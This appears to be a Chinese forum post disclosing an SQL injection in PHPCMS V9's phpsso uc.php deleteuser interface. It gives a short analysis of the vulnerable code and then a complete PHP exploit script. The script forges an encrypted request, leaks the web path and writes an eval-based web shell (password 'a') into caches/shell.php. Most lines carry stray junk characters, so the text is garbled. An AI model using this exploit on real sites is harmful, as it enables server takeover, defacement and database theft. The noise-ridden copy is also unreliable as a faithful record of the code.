PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。9 g0 _" _6 f6 X* x* Q. @% Z5 f3 m% v
' E& V0 A w4 Q所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
8 h: _. d& N/ I. ~- E7 K2 D; S" k" ~0 w2 w4 i6 |3 n
漏洞分析:
L! v. j4 N, F6 |4 M2 Y/ @% _+ R1.未启用ucenter服务的情况下uc_key为空
; J- E4 t4 ]3 N/ q. E$ d$ Mdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
+ d: p8 N9 m* P" A2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
7 t; _( x4 ^4 R( ^, k( _ public function deleteuser($get,$post) {
# p2 W$ ]+ ^ e1 b1 G pc_base::load_app_func('global', 'admin');
% V8 {; ~! k8 ^& @- G) h2 Z3 ` pc_base::load_app_class('messagequeue', 'admin' , 0);
" `- x- c/ a: g9 E $ids = new_stripslashes($get['ids']);
& [& q6 W' e7 m/ [; z $s = $this->member_db->select("ucuserid in ($ids)", "uid");+ |0 o" r* m' y, X, m8 i1 O
SQL语句为
3 }; q [( R. f8 d) v5 FSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
( o9 ^. W0 N+ w+ l" _4 j+ `. \1 b% V# d
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
7 a/ E1 V9 e3 {: W0 d9 w<?php
* u* [, p8 n z3 P& X2 `3 nprint_r('
' O p; W: H/ _& c- _---------------------------------------------------------------------------1 n' O$ F1 B J. H
PHPcms (v9 or Old Version) uc api sql injection 0day
/ s) N- v7 A# G; `4 ~. uby rayh4c#80sec.com
7 x$ j$ c! }5 `--------------------------------------------------------------------------- P9 V9 o. O; p" Z* a" u( Q" s
');
# [- D1 g: [' [6 H- p6 M: k: j& ?7 K8 F B$ _. z5 f
if ($argc<3) {
/ t. t' \0 T7 B o9 y9 R+ q print_r('
9 a6 v3 Y, u* Z8 }; A- G. d---------------------------------------------------------------------------: }- A6 w( \" O
Usage: php '.$argv[0].' host path OPTIONS
% c/ w6 Z: o; l, C1 A6 O8 ohost: target server (ip/hostname)
! X' f# ^8 d/ _0 x5 C' M5 lpath: path to phpcms
3 n: X* v2 i, w0 J. @; AOptions:. J2 W+ X* L _" v: C0 h
-p[port]: specify a port other than 80
7 B+ w5 E. N0 c* E -P[ip:port]: specify a proxy' A0 h* g7 b V# ?
Example:
9 E$ V' m; i# W, g, `: E3 sphp '.$argv[0].' localhost /
7 j% @' j% s' b8 p0 f3 w4 u8 E5 Xphp '.$argv[0].' localhost /phpcms/ -p81
9 L/ Q4 [* E, bphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80* V$ K A5 Y5 [) _9 m3 L( a' l( `
---------------------------------------------------------------------------) `/ l; X$ Y0 F4 v: b+ y& {) J
');
. r6 \8 p! w7 H: ]% f" @& n die;4 m7 d7 a' H0 j3 C1 v7 `* F
}
( x1 o9 |3 r9 n2 P! r; V' Z8 ]" p+ P( F6 n) z( _5 C
error_reporting(7);
' O6 K% i' x# M0 tini_set("max_execution_time",0);
9 {1 R- z" P5 J/ P+ Rini_set("default_socket_timeout",5);
" [7 C. }% b+ D6 _
+ { m& I) j2 W0 x0 o' N: |function quick_dump($string)
! P. l- }* f/ w* g( s{9 A4 p3 S# H! n0 j5 M/ r
$result='';$exa='';$cont=0;
7 D$ C3 o) @' r; x5 n7 m* o0 b for ($i=0; $i<=strlen($string)-1; $i++)
* z& r6 e" F: ~" ~' [$ \ {
4 S! A3 Y4 P; A* p0 \6 u- K+ D if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))8 N4 |% g2 ^& o8 m$ S
{$result.=" .";}/ Q- v0 d; D4 j9 Y6 J. D
else
+ c( I0 ], ~8 Z8 Q {$result.=" ".$string[$i];}
! o2 v6 R- S4 r3 D9 ~/ E if (strlen(dechex(ord($string[$i])))==2), f( g3 @0 z4 z# ~9 G- w
{$exa.=" ".dechex(ord($string[$i]));}/ H% P% a0 c+ |1 N
else8 K5 {/ n. s B5 \! K3 o1 x) `
{$exa.=" 0".dechex(ord($string[$i]));}! j- Z- S. o+ U9 ^5 n) e
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}- r0 A# C" H3 L& G6 L5 T& ]% g
}
) u7 y" v& s, z0 B% `9 D. v return $exa."\r\n".$result; G; i" t. J; C, _- u- Q# P" N
}
+ V' H- b" @1 K! R0 S% M9 v. r8 u4 ?$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
6 q8 c Z9 F0 D1 J% \. O$ y1 D6 t; X E
function send($packet)
7 }8 Y7 m) S5 z& E0 B, V! r{& h1 _% Y% J/ |8 Q
global $proxy, $host, $port, $html, $proxy_regex;4 j+ `. n& ?2 l+ a+ `: ^. x2 h
if ($proxy=='') {
7 Q5 T9 o1 }# h0 o% C( b $ock=fsockopen(gethostbyname($host),$port);/ Z! P* C$ S( m6 e* y7 A
if (!$ock) {
! N$ M- Y+ ^' |- W# j echo 'No response from '.$host.':'.$port; die;" e5 v* C! B/ x6 h7 b7 Y8 h
}
6 Y6 r; A4 \, v0 b" E% W }! s3 d! G$ P, p8 ?- ]
else {& j% T, y' _: }$ W* o0 h
$c = preg_match($proxy_regex,$proxy);
0 G! j& u) X! n1 \ ?, F$ v if (!$c) {
3 i8 ^* s7 c) b& w echo 'Not a valid proxy...';die;
: r4 B: c- n2 c' S }
7 R/ c" W2 V. p* G1 J z- r" l" N+ T $parts=explode(':',$proxy);1 u; K4 s- o* f# \
$parts[1]=(int)$parts[1];% S: ]7 O# m" D V
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";4 ^! W1 F5 \) p" Y0 |8 y
$ock=fsockopen($parts[0],$parts[1]);
8 j$ N' T! F6 W! E! X if (!$ock) {0 Q% J0 u4 M' ^* m* n
echo 'No response from proxy...';die;
" U6 J6 U1 k1 `- F }, ]3 r v" T: g& q' O( X
}
/ G/ F" c" l* t( n/ ?( `, \8 ~ fputs($ock,$packet);9 @3 r$ C: ], R+ a, h& E7 y2 |; ^) Z
if ($proxy=='') {6 A# [: J+ H; w: X& ^
$html='';" D" ^: r9 R' n( ^# L1 g
while (!feof($ock)) {1 R1 L+ C3 z: e
$html.=fgets($ock);
4 U0 f$ p. a7 `/ B }
Q. P2 g9 ]. @2 P$ v }5 O, ]8 F8 R/ d* h5 I* Y
else {
1 N5 d" c% X4 q6 V* y $html='';, B# `* n5 g8 f& k M1 v
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {5 h7 i1 Y' Y0 Q: f1 t2 n' ^
$html.=fread($ock,1);
5 x4 n, D( P, R8 o) n! W }5 S" x2 @# c2 u( V' b
}
8 ]. A) W9 R! _ fclose($ock);
/ [; k) T( Q% n$ T1 ]}/ {5 N1 M/ P! h' J7 o
2 y# }' P/ Y5 t) l3 f" X) U5 h$host=$argv[1];& S- X# h6 Z3 d# F3 d
$path=$argv[2];
0 F$ U) D1 z' g. v% R' r j$port=80;; Z/ L- P0 M: D j9 A
$proxy="";$ S: L" i1 K6 ^1 r; P
for ($i=3; $i<$argc; $i++){
, V: t* g" a7 K7 K+ n0 S$temp=$argv[$i][0].$argv[$i][1];8 [5 f8 `6 n3 j/ y; L
if ($temp=="-p")- w: ]. k8 _$ `( ~
{
' p5 s8 Y& c; L0 b $port=(int)str_replace("-p","",$argv[$i]);" b! r1 O% G4 V; P2 t: u9 j
}
: B) N) z' D+ q2 Z; h. j% y) Q) mif ($temp=="-P")
+ F0 r# _7 E$ M* {( d{
! C+ C3 v3 f6 X2 z1 ^ $proxy=str_replace("-P","",$argv[$i]);
& V6 B' ]8 ?; ^ l3 o' s) b}) A# p2 ~/ R8 U. @% [- v {
}
* m4 [- J/ M" q" z8 n9 ]- P1 s% J6 E" W
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
, w( D; y+ [0 l r6 a* ~; Nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
9 G3 G4 G( x7 O! E( T0 k
, E: n5 T: }5 ?. u4 Rfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {$ a5 W! x {, ?
/ H. ?. G4 U+ T1 e. S $ckey_length = 4;
5 H2 ] T! i" s4 ~
. @* H% i! z3 P/ X* g8 {2 Q1 s0 ` $key = md5($key ? $key : '');
. a8 P. _, N. G $keya = md5(substr($key, 0, 16));! e- g' k% ]0 ~1 B) z4 T( r
$keyb = md5(substr($key, 16, 16));3 |) c9 t9 `5 S% k
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';0 U3 H2 y% f2 `3 Y5 ?. ^
& v: o; @3 W9 V9 P4 n $cryptkey = $keya.md5($keya.$keyc);
# e( n1 e* j) d $key_length = strlen($cryptkey);9 p* y' |; W- u5 F5 ~- O+ }
3 B4 }8 K9 q) [: C
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;' k) ]+ D. q' N& m8 G& i" h% m
$string_length = strlen($string); t; l2 e9 h5 Z2 W# y( [
" x0 ~3 ]; s" y $result = '';
2 L) v b4 K/ O% q2 |+ I1 L& v r $box = range(0, 255);. a7 R" `! x V: P
: Q# G3 U" P+ `$ v $rndkey = array();
5 r, \6 G7 Y% P: e for($i = 0; $i <= 255; $i++) {
( Q5 o2 W+ [% z $rndkey[$i] = ord($cryptkey[$i % $key_length]);
7 A3 f/ E4 B, D5 t5 e3 o+ r- z9 B7 u6 @ }
# s/ F# O& [% u! l' d9 k
0 k, h; x! l+ X) }" N for($j = $i = 0; $i < 256; $i++) {
6 e9 K4 J5 t3 {4 k6 b $j = ($j + $box[$i] + $rndkey[$i]) % 256;
- [) `% K/ ~8 L) r, G; L5 K $tmp = $box[$i];
7 W) n5 | `# ]- y" R- \* X# k/ p $box[$i] = $box[$j];. b9 [9 f& u. O6 T b8 r
$box[$j] = $tmp;
1 f- x; \# m, T3 L9 _4 N% q% `4 E" f }
. k9 J- V( h/ Y" d F" o( ]+ g0 e2 h' c2 l5 }
for($a = $j = $i = 0; $i < $string_length; $i++) {
6 L/ o6 c. _, n $a = ($a + 1) % 256;) J1 R% i3 @* H' c5 F
$j = ($j + $box[$a]) % 256;
7 l; v3 Z0 }! P $tmp = $box[$a];, h6 ~# n8 U* |! Y9 h7 L2 N
$box[$a] = $box[$j];
# F' a5 b! {* x; F% M- D/ ^ $box[$j] = $tmp;
' d: X; ^% y/ z" ?. M$ C $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
/ U; _: }. ]7 V, Z! Y } }
& Q$ r9 s4 ^! h
0 L5 G! B; |8 r4 O( j, f6 h if($operation == 'DECODE') {
Q' h6 g. N" b* V3 P/ C9 P$ J if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
) P. T0 t- N6 q' |! V! _! c+ N return substr($result, 26);1 h0 @5 F' Z2 |! P/ y9 t6 s
} else {' I/ w! H3 I5 o- g, h% n
return '';( h" r, H) N. w9 s
}
) q5 }; n- o3 Z4 e } else {
% w; o- W" f( `# O* r. E" C+ n return $keyc.str_replace('=', '', base64_encode($result));
1 [7 v- S) e+ z0 G7 y9 K }0 @9 n3 y" R" |# ]
; _# v; S$ T/ p8 r( x0 H}
: W* j/ |6 A9 L: ? n6 y" z1 d! E1 l
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
( }% }" S9 k0 x, f( p$ V- r5 f$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 A* G# Q$ _4 p: e* \) [. l
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n"; w5 N7 t& ^' u+ P" |5 C" ]
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";8 Y, y* n2 [4 W0 [2 Q( Q" \
$packet.="User-Agent: Mozilla/5.0\r\n";
5 Q! R( A* u) e% D/ o$packet.="Host: ".$host."\r\n";' ~8 m! \2 {( m, r/ X \ K
$packet.="Connection: Close\r\n\r\n";: X+ S4 P" m4 s4 O; N: d. r( {
send($packet);6 {5 I$ x; W) `
if(strpos($html,"MySQL Errno") > 0){# V$ G+ z3 \) i1 B% e
echo "[2] 发现存在SQL注入漏洞"."\n";
( i; S# q4 v1 C$ ?echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";0 X7 x' K4 e& |) q
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
8 F) c$ ]) Y- {8 g* n$packet.="User-Agent: Mozilla/5.0\r\n";
& z3 B S( P z5 z, V$packet.="Host: ".$host."\r\n";0 J6 x7 S5 f0 Z2 G# w& U
$packet.="Connection: Close\r\n\r\n";
) f4 i( l1 j& `& \) y0 Psend($packet);# q2 {: E7 \ [+ `8 P; J8 d- o
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
+ s1 o7 v: x% Q5 E, U1 m0 l//print_r($matches);
/ P9 S2 M4 z u/ v! A+ ^0 X8 Lif(!empty($matches)){
- W! @* G8 f) j$ Yecho "[4] 得到web路径 " . $matches[0]."\n";- g; \$ R% @9 i" F, I" D* V+ K0 ^. r5 D$ s
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";* D, ~$ w' B5 X
$SQL = "time=999999999999999999999999&ids=1)";. T' n* \4 r9 E- e
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";2 i1 v8 U) c9 s7 ]
$SQL.="&action=deleteuser";
! ^6 g9 ~! Y. w. M$SQL = urlencode(authcode($SQL, "ENCODE", ""));: {: e) P& C7 U5 M! c3 \
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";& u5 K7 g5 q$ V
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";- m/ R: R3 ~# ~1 u& I% |# ?$ }
$packet.="User-Agent: Mozilla/5.0\r\n";. B7 \& r/ A3 i
$packet.="Host: ".$host."\r\n";
$ X- f# C" a# U% ]2 X4 x4 x$packet.="Connection: Close\r\n\r\n";
6 q( k4 y. L5 P: q3 rsend($packet);
2 P0 p* {' m3 D" Wif(strpos($html,"Access denied") > 0){, a6 ]$ b" N: F/ L ?
echo "[-] MYSQL权限过低 禁止写入文件 ";
" k# h. q0 h" R, Ldie;% u! `; m3 x3 }( v- l9 c% x' n" `" X
}0 p' ?& d' g9 I% o% _+ e
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";7 t, m3 G! R1 D$ s
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";: U, m- S9 b# i* B% m5 C
$packet.="User-Agent: Mozilla/5.0\r\n";
/ v+ k% u- ]& Q2 O+ A$packet.="Host: ".$host."\r\n";
# H% m7 G* f" j6 Y* o$ ~$packet.="Connection: Close\r\n\r\n";
0 W" i. T: x# r6 dsend($packet);
" t! f+ }; o1 I1 tif(strpos($html,"<title>phpinfo()</title>") > 0){
( G w8 F1 y5 ?echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
2 `! m1 q0 W! Z) U# R}' x" e2 C% G& ~6 S3 ^6 j9 d
}else{8 ^% ]* N* R% q2 ]; o7 `( ^
echo "[-]未取到web路径 ";
! r6 z# B: H1 R; p} f& X y* @; ?7 ~
}else{" ~) V; ^8 D+ V' [
echo "[*]不存在SQL注入漏洞"."\n";
) K% ~" S- u3 e c}* Q$ ?; R z+ r9 r8 P
! f+ N( R) Y3 o
?>
; j; {# g' H/ h! R8 f+ m4 n |